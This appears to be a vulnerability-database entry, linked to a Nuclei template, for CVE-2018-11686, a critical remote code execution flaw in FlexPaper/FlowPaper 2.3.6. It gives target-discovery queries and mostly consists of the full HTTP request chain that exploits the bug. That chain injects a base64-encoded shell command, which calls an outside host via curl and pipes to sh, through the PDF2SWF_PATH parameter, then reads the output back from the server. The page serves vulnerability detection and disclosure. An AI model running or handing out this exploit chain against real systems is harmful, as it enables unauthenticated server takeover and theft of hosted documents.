| Title | FlexPaper/FlowPaper 2.3.6 - Remote Code Execution |
|---|---|
| Author | iamnoooob,pdresearch,pszyszkowski |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary code on the server through the Publish Service, leading to complete server compromise and access to all hosted documents. |
| Remediation | Upgrade to FlowPaper version 2.3.7 or later, or remove the vulnerable Publish Service. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92639 |
| CVE ID | CVE-2018-11686 |
| CWE ID | CWE-20 |
| Shodan Query | title:"FlexPaper" |
| Fofa Query | title="FlexPaper" |
| Tags | cve cve2018 flexpaper flowpaper rce vkev vuln |
The Publish Service in FlexPaper (later renamed FlowPaper) 2.3.6 allows remote code execution via setup.php and change_config.php.
POST /php/change_config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
SAVE_CONFIG=1&SWF_Directory=config/
POST /php/change_config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
SAVE_CONFIG=1&SWF_Directory=config/
GET /php/setup.php?step=4&PDF2SWF_PATH=echo+Y3VybCBvYXN0LnBybw==+%7C+base64+-d+%7C+sh+%3Econfig/output.txt%3B HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.7
Connection: close
Accept-Encoding: gzip
GET /php/config/output.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11686.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-11686.pcap
N/AN/A